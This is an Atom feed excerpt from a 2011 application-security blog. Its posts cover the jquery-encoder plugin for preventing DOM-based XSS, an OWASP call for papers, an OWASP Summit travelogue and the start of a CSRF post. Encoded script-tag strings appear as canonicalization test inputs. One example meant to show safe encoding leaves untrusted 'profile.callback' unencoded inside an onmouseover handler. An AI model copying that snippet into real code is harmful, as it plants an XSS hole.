So that&#39;s it for this years (last years) top ten - I hope to see this continue to be my most popular annual post, since I enjoy doing it so much and it brings lots of people to the blog to read my other really cool blog posts :)</content><link rel='replies' type='application/atom+xml' href='http://yet-another-dev.blogspot.com/feeds/132709471198588307/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yet-another-dev.blogspot.com/2011/02/firefox-plugins-for-security.html#comment-form' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/132709471198588307'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/132709471198588307'/><link rel='alternate' type='text/html' href='http://yet-another-dev.blogspot.com/2011/02/firefox-plugins-for-security.html' title='Firefox Plugins for Security Professionals - Top Ten for Twenty-Ten'/><author><name>Chris Schmidt</name><uri>http://www.blogger.com/profile/00176557422611541107</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6bOTMV0NKNtfXZvgAu95knHNmmoQvNBcKLWuPIS3XQFXDDxDohvUdq6iJSPJ_kFFcdUyoMxLkBjl1SlSt7eMfU2PmCr08xDsKnkdR6n44IAx305oYX71ZIngokgqS9Q/s1600/187576_540702549_2394666_n.jpg'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2278699633637555082.post-6122572667738699451</id><published>2011-02-21T11:18:00.003-07:00</published><updated>2011-03-07T11:55:18.969-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dom based xss"/><category scheme="http://www.blogger.com/atom/ns#" term="encoder"/><category scheme="http://www.blogger.com/atom/ns#" term="javascript"/><category scheme="http://www.blogger.com/atom/ns#" term="jquery"/><title type='text'>jQuery-Encoder updated</title><content type='html'>I have made several updates to the jqencoder plugin over the weekend and thought I would share a little about them quickly.&lt;br /&gt;
&lt;br /&gt;
Plugin Readme: &lt;a href=&quot;http://bit.ly/ie4J04&quot;&gt;http://bit.ly/ie4J04&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
First, and most importantly - I have added a series of static methods (that look similar to the methods on the Encoder interface for ESAPI) to perform particular contextual encoding tasks - specifically when building html dynamically rather than building elements up using the DOM.&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;encodeForHTML&lt;/li&gt;
&lt;li&gt;encodeForHTMLAttribute&lt;/li&gt;
&lt;li&gt;encodeForCSS&lt;/li&gt;
&lt;li&gt;encodeForURL&lt;/li&gt;
&lt;li&gt;encodeForJavascript&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
Each of these methods can be accessed under the static &lt;code&gt;$.encoder&lt;/code&gt; context. &lt;br /&gt;
&lt;br /&gt;
&lt;pre name=&quot;code&quot; class=&quot;javascript&quot;&gt;$.post(&#39;http://untrusted.com/external_profile&#39;, function(profile) {
      $(&#39;#widget&#39;).html(&#39;&amp;lt;div id=&quot;untrusted_widget&quot; width=&quot;&#39; + 
                        $.encoder.encodeForHTMLAttribute(profile.width) + 
                        &#39;&quot; onmouseover=&quot;&#39; + profile.callback + &quot;(\&#39;&#39; +
                        $.encoder.encodeForJavascript(profile.parm) + 
                        &#39;\&#39;)&quot;&gt;&#39; + $.encoder.encodeForHTML(profile.data) + 
                        &#39;&amp;lt;/div&gt;&#39;);
   }
&lt;/pre&gt;&lt;br /&gt;
In addition, the &lt;code&gt;$.canonicalize&lt;/code&gt; method has also been moved into the &lt;code&gt;$.encoder&lt;/code&gt; context. &lt;br /&gt;
&lt;br /&gt;
&lt;pre name=&quot;code&quot; class=&quot;javascript&quot;&gt;$(&#39;#phonenumber&#39;).blur(function() {
      validatePhoneNumber($.encoder.canonicalize(this.val());
   });
&lt;/pre&gt;&lt;br /&gt;
The third, and final big change over the weekend - was solidifying the ES5 immutable objects protection. If it is supported by the browser, the &lt;code&gt;$.encoder&lt;/code&gt; object will be frozen, sealed, or non-extensible (in that order of priority) to protect the encoding and canonicalize functions themselves from being tampered with at runtime. At this point in time, Chrome has implemented &lt;code&gt;Object.freeze&lt;/code&gt; in the latest release version, Mozilla has implemented it in Firefox 4 and Microsoft have implemented it in IE9. Safari shows no indication of implementing it, and neither does Opera.&lt;br /&gt;
&lt;br /&gt;
Now, I pose a question to the developers that may use this plugin. Is there a need to keep the instance method &lt;code&gt;$.fn.encode&lt;/code&gt;? It seems to me that due to the nature of setting DOM element properties via Javascript, that this is not really needed at all. So, should I nuke it?&lt;br /&gt;
&lt;br /&gt;
I end this post with a final thought (continuing from my above conversation of Object.freeze)&lt;br /&gt;
&lt;br /&gt;
I strongly recommend that developers start taking the initiative to make their custom JS objects immutable, and also recommend making framework objects immutable as well. If you were to (using jQuery) issue the following in your onready handler&lt;br /&gt;
&lt;br /&gt;
&lt;pre name=&quot;code&quot; class=&quot;javascript&quot;&gt;$(document).ready(function(){
   if ( Object.freeze ) $ = Object.freeze($);
   // .. initialize page below here
});
&lt;/pre&gt;&lt;br /&gt;
It seems to me, this could eliminate a lot of potential vulnerability exploitation of bugs in framework code. What are your thoughts?&lt;br /&gt;
&lt;br /&gt;
Also, why not consider the following: &lt;br /&gt;
&lt;br /&gt;
&lt;pre name=&quot;code&quot; class=&quot;javascript&quot;&gt;var lock_objs = [ String.prototype, 
                     Array.prototype, 
                     Function.prototype, 
                     Object.prototype ];
   for (var i=0;i&amp;lt;lock_objs.length;i++) lock_objs[i] = Object.freeze(lock_objs[i]);
&lt;/pre&gt;</content><link rel='replies' type='application/atom+xml' href='http://yet-another-dev.blogspot.com/feeds/6122572667738699451/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yet-another-dev.blogspot.com/2011/02/jquery-encoder-updated.html#comment-form' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/6122572667738699451'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/6122572667738699451'/><link rel='alternate' type='text/html' href='http://yet-another-dev.blogspot.com/2011/02/jquery-encoder-updated.html' title='jQuery-Encoder updated'/><author><name>Chris Schmidt</name><uri>http://www.blogger.com/profile/00176557422611541107</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6bOTMV0NKNtfXZvgAu95knHNmmoQvNBcKLWuPIS3XQFXDDxDohvUdq6iJSPJ_kFFcdUyoMxLkBjl1SlSt7eMfU2PmCr08xDsKnkdR6n44IAx305oYX71ZIngokgqS9Q/s1600/187576_540702549_2394666_n.jpg'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2278699633637555082.post-6162981184924166526</id><published>2011-02-17T17:34:00.000-07:00</published><updated>2011-02-17T17:34:38.070-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="uberconf nfjs appsec conference training"/><title type='text'>Call for Papers - AppSec @ UberConf 2011</title><content type='html'>&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Call for papers: Application Security Track at Uber Conf 2011 - July 12-15&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
OWASP is currently soliciting papers for the Application Security Track at&lt;br /&gt;
Uber Conf, Denver, CO.&lt;br /&gt;
&lt;br /&gt;
OWASP is partnering with Uber Conf to have an Application Security&lt;br /&gt;
track at this prestigious conference. Brought to you by the No Fluff&lt;br /&gt;
Just Stuff Software Symposium Series, Über Conf will explore the ever&lt;br /&gt;
evolving ecosystem of Java the Platform.&lt;br /&gt;
&lt;br /&gt;
The Ü will offer over 120 technically focused sessions including hands&lt;br /&gt;
on workshops centered around Architecture, Cloud, Security, Enterprise&lt;br /&gt;
Java, Languages on the JVM, Build/Test, Mobility and Agility. The goal&lt;br /&gt;
of Über Conf is a simple one: totally blow the minds of our attendees.&lt;br /&gt;
&lt;br /&gt;
We are seeking people and organizations that want to present about how&lt;br /&gt;
security relates to the following Java topics (in no particular&lt;br /&gt;
order):&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; * Architecture&lt;br /&gt;
&amp;nbsp; * Enterprise Java&lt;br /&gt;
&amp;nbsp; * Java Internals&lt;br /&gt;
&amp;nbsp; * Security - Enterprise &amp;amp; JVM&lt;br /&gt;
&amp;nbsp; * Cloud Computing&lt;br /&gt;
&amp;nbsp; * Languages on the JVM - Groovy, JRuby, Scala &amp;amp; Clojure&lt;br /&gt;
&amp;nbsp; * Java Web Frameworks - Wicket, Tapestry &amp;amp; SpringMVC&lt;br /&gt;
&amp;nbsp; * Build Systems - Maven &amp;amp; Gradle&lt;br /&gt;
&amp;nbsp; * Testing&lt;br /&gt;
&amp;nbsp; * Agility&lt;br /&gt;
&amp;nbsp; * Tools&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
How to make a submission:&lt;br /&gt;
&amp;nbsp; * Fill the form available at &lt;a href=&quot;http://www.owasp.org/images/4/42/UberConf.AppSec.CFP.rtf.zip&quot;&gt;http://www.owasp.org/images/4/42/UberConf.AppSec.CFP.rtf.zip&lt;/a&gt;&lt;br /&gt;
&amp;nbsp; * Submit the filled form at &lt;a href=&quot;https://www.easychair.org/conferences/?conf=appsecatuberconf2011&quot;&gt;https://www.easychair.org/conferences/?conf=appsecatuberconf2011&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Submission deadline is Feb 28th at 12PM EST (GMT-5)&lt;br /&gt;
&lt;br /&gt;
Submit Proposals to:&lt;br /&gt;
&lt;a href=&quot;https://www.easychair.org/conferences/?conf=appsecatuberconf2011&quot;&gt;https://www.easychair.org/conferences/?conf=appsecatuberconf2011&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Conference Website:&lt;br /&gt;
&lt;a href=&quot;http://uberconf.com/conference/denver/2011/07/home&quot;&gt;http://uberconf.com/conference/denver/2011/07/home&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
OWASP Website:&lt;br /&gt;
&lt;a href=&quot;http://www.owasp.org/&quot;&gt;http://www.owasp.org&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Please forward to all interested practitioners and colleagues.</content><link rel='replies' type='application/atom+xml' href='http://yet-another-dev.blogspot.com/feeds/6162981184924166526/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yet-another-dev.blogspot.com/2011/02/call-for-papers-appsec-uberconf-2011.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/6162981184924166526'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/6162981184924166526'/><link rel='alternate' type='text/html' href='http://yet-another-dev.blogspot.com/2011/02/call-for-papers-appsec-uberconf-2011.html' title='Call for Papers - AppSec @ UberConf 2011'/><author><name>Chris Schmidt</name><uri>http://www.blogger.com/profile/00176557422611541107</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6bOTMV0NKNtfXZvgAu95knHNmmoQvNBcKLWuPIS3XQFXDDxDohvUdq6iJSPJ_kFFcdUyoMxLkBjl1SlSt7eMfU2PmCr08xDsKnkdR6n44IAx305oYX71ZIngokgqS9Q/s1600/187576_540702549_2394666_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2278699633637555082.post-5758406697860926365</id><published>2011-02-16T21:59:00.000-07:00</published><updated>2011-02-16T21:59:29.416-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="owasp summit"/><title type='text'>Dear OWASP Summit, Obrigado</title><content type='html'>It has been a couple days since I returned from my trip to Portugal for the OWASP 2011 Summit in Lisbon; and I can almost speak again. Last week was truly one of the most incredibly productive weeks I think I have ever witnessed. Of course, when you throw almost 200 security professionals from around the globe in a small space for several days with a seemingly limitless supply of (horrible) beer and wine - would you expect any less?&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Day 1&lt;/b&gt;&lt;br /&gt;
After arriving at DIA at around 8am for my 10am flight to Newark I tinker on some ideas while sitting in the airport lounge. Finally it is time to board the plane and I arrive in Newark. As soon as I make it out to where the restaurants are at Newark I run into Tom Brennan and we immediately head up to the Presidential Club for some free Bloody Mary&#39;s, some Superbowl, and some geek talk about plans for the week. We sat in the bar for about 3 hours, saw about 15 minutes of the Superbowl and ran into another big group of OWASPers at the gate from Newark to Lisbon. After what seems like an eternity, I arrive in Lisbon at 8am GMT. Customs was almost non-existent in Lisbon. Arriving at the passport counter, the lady simply scanned my passport and handed it back to me without so much as a glance at me or my picture. After the passport counter we had to go through customs - nothing to declare? Ok, just follow the green line, all the way out without ever speaking to another person until we were outside getting on the bus. A handful of people are already at the Campo Real Resort when we arrive and we are quickly assimilated into various smaller sects of security pros running around in shorts and flipflops or 3-piece suits. Broke fast with a big group and then headed up to the Library Bar where the wireless was decent to sit on the patio and prepare for the week ahead.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Day 2&lt;/b&gt;&lt;br /&gt;
Up and at it early for the first actual day of the summit. Spent the morning working on the finishing touches for the working sessions that I was leading on ESAPI and a global security disclosure policy for OWASP then started shooting off e-mails to connect with some people that I don&#39;t have the opportunity to see very often and spent a good deal of the morning talking about how different security needs are around the world compared to what I am used to here in the US of A. Around lunchtime, I was invited to participate in the Global Project Committee in planning out the new platform with OWASP Projects. I spent the rest of the day sequestered in a hidden cove with Jason Li and Brad Causey plotting for the Projects working session. After the day was called and dinner was served I spent the evening regaling the crowds with stories and jokes while the first part of the Governance session raged on across the street.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Day 3&lt;/b&gt;&lt;br /&gt;
Not quite as early as yesterday, but still early enough. Headed to the main hotel to meet up with Jason and Brad to continue our work on the Projects refactor. Things are getting done at an unreal pace. Yesterday there was just a brief sketch and some ideas bouncing around - by the time we finish today, we have a full-fledged plan of attack and something reminiscent of a roadmap. We even have little icons and some fancy process diagrams to show off at our session later today! First actual session I manage to make it to is with Micheal Coates on AppSensor. I am a huge fan of AppSensor, and Mike is a pretty genuinely cool guy to hang out with (after a few drinks XD) so I go to lend my support and help hash out some ideas for the project. Next on the agenda is our projects working session. Some heated debate sparks up regarding the website, and how this ties into it, and what should happen first; but somehow, we manage to make it through the entire plan - show off all our diagrams and process stuff, and smooth out some of the rough edges with the crowd. After this, I sneak away to go mingle with some of the AppSec Elite, like John Stevens from Cigital and a few others that have super secret identities. The evening wraps up with snacks, beer, and wine in the hotel followed by dinner and OWASP Band Practice.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Day 4&lt;/b&gt;&lt;br /&gt;
Moving a little slower than yesterday, but I am at the hotel shortly before 10am for my first working session of the day. I have 4 scheduled that I was prepared for and get pulled into another one that somehow ended up leaderless. My first session of the day goes well - what do we need from Framework Developers as it applies to Output Encoding. We outline a set of 4 high-level requirements that are to be later formulated into an official request from OWASP to the framework developers (Spring, Struts, etc.) to make contextual output encoding part of their frameworks. Immediately following that session I get pulled onto a working session to go through the ESAPI validation code and talk about Jim Manico&#39;s ESAPI-Lite project. We do a thorough deep-dive into the ESAPI validators and basically run through a code review with a room full of smart people and the code up on a projector. Some great ideas and bugfixes will be coming out of that session! Finally it is time for lunch, but not before we all get coraled into the inner patio area of the hotel for a group picture and quick pow-wow with the summit organizers. I lunch on some particularly dry tiny sandwiches with Jeff, Dave, and a crazy hacker girl from the UK then head off to start preparing for my afternoon sessions. I also get pulled away to take care of some work related stuff (having a conference call, over a very flooded wifi network is a very interesting adventure) then head back for my second to last session of the day. The OWASP Security Vulnerability Disclosure Policy is born and noted on the patio over espresso and beer in the warm late afternoon sun and at long last the last working session for the day, where we were to be roadmapping the future of the ESAPI project get&#39;s cancelled because we are going to have an actual ESAPI summit sometime in early Spring. Now it&#39;s time to have a few drinks, so I head to the wine tasting in the control center and run into the guys from Hacker News Network, who have been trying to find me for days so we could do an interview. I grab my stuff and head up to the presidential suite in the hotel where I spend about 30 minutes chatting it up with the guys and then another 15-20 doing the actual interview. Now it&#39;s time to head out for dinner and the much anticipated OWASP band performance. We managed to practice and get down 4 songs the night before, so we knew we would be doing a lot of improv. We get the host house all set up for the concert and brazillian bbq that will happen in a couple hours while the final working sessions for the night wind down. As people start filtering in the house, a couple people are jamming away on the equipment that was provided by Dinis&#39; brother (local) and we pick up one of his students to play Guitar, his brother to play guitar and bass, and Stephen from the Netherlands (OWASP CTF) to hop on bass as well. We start jamming out around 11pm and run through about 2 hours of music, including but not limited to an original song, that I made up on the spot called &#39;The SQL Injection Blues&#39; which largely featured quotes and friendly jabs at Jim Manico (who quite unfortunately was actually in his room at the hotel, sick as a dog), along with some old favorites like La Bamba, Sweet Child of Mine, Enter Sandman (with John Wilander rocking out), Born to be wild, and a ton of others that I can&#39;t remember right now. By the end of the night, my voice was completely gone, but I was having a blast eating brazillian bbq as soon as it was coming off the grill and chatting it up with Mark and Doug outside the party house.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Day 5&lt;/b&gt;&lt;br /&gt;
Somehow, I managed to peel myself out of bed long enough to attend the closing ceremonies at the hotel around 10am and promptly headed back to the villa for another hour or so of sleep afterwards. My voice was still completely gone (good thing I did the interview before the show!) and I spend most of the day catching up with everyone and chatting about the conference, getting contact info for everyone and planning my last day in Lisbon. We have dinner down at the resteraunt that evening where I have a little bit of Ouzo and then we all head for the Library Bar to chat it up before finally heading for bed.&lt;br /&gt;
&lt;b&gt; &lt;/b&gt;&lt;br /&gt;
&lt;b&gt; Day 6&lt;/b&gt;&lt;br /&gt;
Up bright and early for my big Turbo-tour of Lisbon. I managed to rally up about 9 people for the day so we split the cost of transportation and head into the city. A couple of the guys (and gal) from the group are staying that night in Lisbon so we all meet up at the hotel and head down into the City Centre of Lisbon. It is a long arduous journey through the City Maze in Old Town as we wind our way up the mountain to see the Castle of St. Jeorge (stopping many times along the way to look at stuff, or peruse shops, or just take some pictures) and finally after a couple hours we are up at the castle. It is huge, and we spend about an hour walking around the walls and towers, admiring the view of the city and the river from the highest points of the castle before finally getting in to see what most of us went to the castle to see. The Camera Obscura was invented by Leonardo Da Vinci and it is basically a really old school periscope projector that projects a view of the entire city of Lisbon onto a kind of upside-down planetarium screen. We get a history lesson as the keeper of the camera swoops the camera around showing us different parts of the city and relating tales about those parts and things that have happened there. It was awesome, and well worth the climb and the wait. After we are done at the castle, we decide to head back down the hill and find a place that was recommended to us for lunch. We find it after a bit of walking and have some awesome portugeuse food and arguably the best Sangria that I have ever tasted. After that the group splits up, some going to the Tower of Betel to take pictures, and the rest of us down the hill for shopping and sunset. We head down the hill, miss the sunset over the ocean - but that&#39;s okay because we find an amazing street artist set up on the side of the road and I ended up buying a painting to bring home and remind me of my trip. After that we head further down the hill and find an awesome little cafe that has some of the custard cups that Lisbon is famous for so we sit down for an Espresso and some pastries and chat a bit about the day so far and what else we want to do. After we are done there we have a little over an hour until we are supposed to meet back up with the rest of the group for dinner - so we head down into the main drag of Lisbon. The huge pedestrian street that is lined with touristy shops and sights and walk down the strip, stopping to buy a few trinkets for the family on our way back to the hotel. Once we meet up with everyone at the hotel, we sit in the bar for a few to have a glass of port and figure out where we want to go for dinner. We end up heading to a little resteraunt not too far away called Sancho, which is supposed to be one of the best places in Lisbon to go for seafood. The food was awesome, the wine was good, and the conversation was unbeatable. Finally after about 2 1/2 hours for dinner we head back to the hotel for a nightcap before most of us head back to the resort and turn in for the night.&lt;br /&gt;
&lt;b&gt; &lt;/b&gt;&lt;br /&gt;
&lt;b&gt; Day 7&lt;/b&gt;&lt;br /&gt;
Literally, 22 1/2 hours of travel, I reached my home - promptly laid down my luggage, shared trinkets with the family and finally passed out in my own bed; millions of ideas and thoughts from the summit still running through my head.&lt;br /&gt;
&lt;b&gt; &lt;/b&gt;&lt;br /&gt;
&lt;b&gt; Summary&lt;/b&gt;&lt;br /&gt;
I have said it a zillion times over the last week, but I will say it again - the experience was truly unbeatable. The opportunity to work with so many brilliant people from our community and really get things done was amazing. Learning about the security needs and political struggles from the stories of the attendees was incredible. Seeing Europe for the first time was beautiful. I can&#39;t wait for the next summit. I have already put in my vote for either South America or Prague. :)&lt;b&gt; &lt;/b&gt;</content><link rel='replies' type='application/atom+xml' href='http://yet-another-dev.blogspot.com/feeds/5758406697860926365/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yet-another-dev.blogspot.com/2011/02/dear-owasp-summit-obrigado.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/5758406697860926365'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/5758406697860926365'/><link rel='alternate' type='text/html' href='http://yet-another-dev.blogspot.com/2011/02/dear-owasp-summit-obrigado.html' title='Dear OWASP Summit, Obrigado'/><author><name>Chris Schmidt</name><uri>http://www.blogger.com/profile/00176557422611541107</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6bOTMV0NKNtfXZvgAu95knHNmmoQvNBcKLWuPIS3XQFXDDxDohvUdq6iJSPJ_kFFcdUyoMxLkBjl1SlSt7eMfU2PmCr08xDsKnkdR6n44IAx305oYX71ZIngokgqS9Q/s1600/187576_540702549_2394666_n.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2278699633637555082.post-212608784861245405</id><published>2011-02-16T19:12:00.002-07:00</published><updated>2011-02-17T08:36:45.164-07:00</updated><title type='text'>Client-Side Contextual Encoding for jQuery</title><content type='html'>As everyone is probably aware by now, jQuery; the awesome brainchild of John Resig - is everywhere! This opened an opportunity for me in my crusade against DOM Based XSS by creating a plugin to allow developers to contextually encode untrusted data on the client side (more and more important with widgets and ajax all over the place).&lt;br /&gt;
&lt;br /&gt;
So what is this new hotness, this awesome plugin? It&#39;s called jquery-encoder (yeah, I was feeling very creative when I came up with that name) and it is super-simple to use!&lt;br /&gt;
&lt;br /&gt;
Here is a quick snippet of the power of jquery with jquery-encoder&lt;br /&gt;
&lt;pre class=&quot;javascript&quot; name=&quot;code&quot;&gt;$.post(&#39;http://untrusted.com/webservice&#39;, function(data) {
   $(&#39;#result&#39;).encode(&#39;html&#39;, data);
});
&lt;/pre&gt;&lt;br /&gt;
Under the hood, this runs the untrusted data that is being returned from the &lt;code&gt;untrusted.com&lt;/code&gt; webservice through an HTML entity encoding algorythm before setting it using the jQuery .html() function. &lt;br /&gt;
&lt;br /&gt;
You can also encode for HTML Attributes or CSS.&lt;br /&gt;
&lt;pre class=&quot;javascript&quot; name=&quot;code&quot;&gt;$.post(&#39;http://untrusted.com/user-theme-color&#39;, function(data) {
   $(&#39;body&#39;).encode(&#39;css&#39;, &#39;background-color&#39;, data);
});

$.post(&#39;http://untrusted.com/unique-id-generator&#39;, function() {
   $(&#39;#result&#39;).encode(&#39;attr&#39;, &#39;id&#39;, data);
});
&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
As soon as this matures and get&#39;s some testing, a full blown technical description and user&#39;s guide will be available - but for now, what I am really looking for is people to try it out! I don&#39;t recommend dropping this into your production code just yet, this is just a first attempt at getting this right. &lt;br /&gt;
&lt;br /&gt;
The other big thing that I did was bring the awesome ESAPI canonicalization functionality to the jQuery world. This is *huge* for client side validations and for detecting bad data (multiple/mixed encodings) &lt;br /&gt;
&lt;br /&gt;
The canonicalize function is a static method on the jQuery object and can be used as illustrated below.&lt;br /&gt;
&lt;pre class=&quot;javascript&quot; name=&quot;code&quot;&gt;$.canonicalize(&#39;&amp;amp;lt;script&amp;amp;gt;&#39;); // &amp;lt;script&amp;gt;
$.canonicalize(&#39;%3cscript%3d&#39;); // &amp;lt;script&amp;gt;
$.canonicalize(&#39;%253cscript%253d&#39;) // Raises exception (double)
$.canonicalize(&#39;&amp;amp;#x26;lt&amp;amp;#59&#39;) // Raises exception (multi-double)
&lt;/pre&gt;&lt;br /&gt;
IMHO, this is one of the most powerful utility functions available in the entire ESAPI and I am super-stoked that I was able to port it to javascript for jQuery. However, it needs to be poked at, prodded, and broken before it is rock solid. I currently have a suite of about 70 test cases that I am throwing against it, but I am sure there are at least double that. It will decode escaping for HTML, CSS, and Javascript escaping rules.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Dependencies&lt;/b&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;jQuery ( &amp;gt;=1.4.3 )&lt;/li&gt;
&lt;li&gt;Class.extend function (prototype or&lt;a href=&quot;https://github.com/chrisisbeef/jquery-encoder/blob/master/libs/Class.create.js&quot;&gt; John Resigs&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;&lt;b&gt;Links&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Source: &lt;a href=&quot;https://github.com/chrisisbeef/jquery-encoder/blob/master/src/main/javascript/org/owasp/esapi/jquery/encoder.js&quot;&gt;https://github.com/chrisisbeef/jquery-encoder/blob/master/src/main/javascript/org/owasp/esapi/jquery/encoder.js&lt;/a&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
Minified: &lt;a href=&quot;https://github.com/chrisisbeef/jquery-encoder/blob/master/jquery-encoder-0.1.0.js&quot;&gt;https://github.com/chrisisbeef/jquery-encoder/blob/master/jquery-encoder-0.1.0.js&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Final Thoughts&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Please, share in comments if you have any questions or comments - feel free to communicate with me through Github as well.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt; &lt;/b&gt;&lt;br /&gt;
&lt;b&gt; &lt;/b&gt;Now, go forth and break it!</content><link rel='replies' type='application/atom+xml' href='http://yet-another-dev.blogspot.com/feeds/212608784861245405/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yet-another-dev.blogspot.com/2011/02/client-side-contextual-encoding-for.html#comment-form' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/212608784861245405'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/212608784861245405'/><link rel='alternate' type='text/html' href='http://yet-another-dev.blogspot.com/2011/02/client-side-contextual-encoding-for.html' title='Client-Side Contextual Encoding for jQuery'/><author><name>Chris Schmidt</name><uri>http://www.blogger.com/profile/00176557422611541107</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6bOTMV0NKNtfXZvgAu95knHNmmoQvNBcKLWuPIS3XQFXDDxDohvUdq6iJSPJ_kFFcdUyoMxLkBjl1SlSt7eMfU2PmCr08xDsKnkdR6n44IAx305oYX71ZIngokgqS9Q/s1600/187576_540702549_2394666_n.jpg'/></author><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2278699633637555082.post-4774640584986476933</id><published>2010-11-22T16:56:00.000-07:00</published><updated>2010-11-22T16:56:24.938-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="application security"/><category scheme="http://www.blogger.com/atom/ns#" term="CSRF"/><category scheme="http://www.blogger.com/atom/ns#" term="Google"/><title type='text'>CSRF - How much is enough?</title><content type='html'>One of the &lt;b&gt;hot topics&lt;/b&gt;&amp;nbsp;at &lt;b&gt;&lt;a href=&quot;http://appsecdc.org/&quot;&gt;AppSecDC&lt;/a&gt;&lt;/b&gt;&amp;nbsp;this year seemed to be CSRF attacks and protecting against them. CSRF was brought up at least once in virtually &lt;b&gt;every&lt;/b&gt;&amp;nbsp;session that I attended at the conference (including several questions in my own &lt;a href=&quot;http://www.owasp.org/images/c/c7/ESAPI-2010-AppSecDC.pptx&quot;&gt;ESAPI Presentation)&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
This spawned some great hallway conversations and got me really thinking about how we solve CSRF issues today. I kept coming back to an application I was working on recently that uses GWT and how I had to solve CSRF for that particular situation. See, normally the solution is to append a parameter on to the GET or POST request with a unique token that the server can verify against. Depending on who you talk to - sometimes this token has a lifespan of a session, and sometimes it is only a single request. Some would argue that for more sensitive applications you should use a per-request token and per-session tokens could be used in other places.&lt;br /&gt;
&lt;br /&gt;
With that in mind, let&#39;s look at the GWT problem. You see in GWT, everything is handled by the Java -&amp;gt; Javascript compiler; which makes it very easy for Java Developers to create Rich UI Webapps. The flipside to this is that there is very little visibility (without a lot of research) into what is actually happening to your java code when you use GWT. Most developers just know that they put Java in and get a web app out. &amp;nbsp;This presents an interesting dillema for security in general, but specifically for things like CSRF and DOM Based XSS.&lt;br /&gt;
&lt;br /&gt;
Google has posted an article all about securing GWT Applications - while I normally commend google on their suggestions as they pertain to security in software, I could not believe what they were suggesting as a solution to CSRF. The full article can be read &lt;a href=&quot;http://groups.google.com/group/Google-Web-Toolkit/web/security-for-gwt-applications?pli=1&quot;&gt;here&lt;/a&gt; - but here is an excerpt outlining the proposed solution.&lt;br /&gt;
&lt;br /&gt;
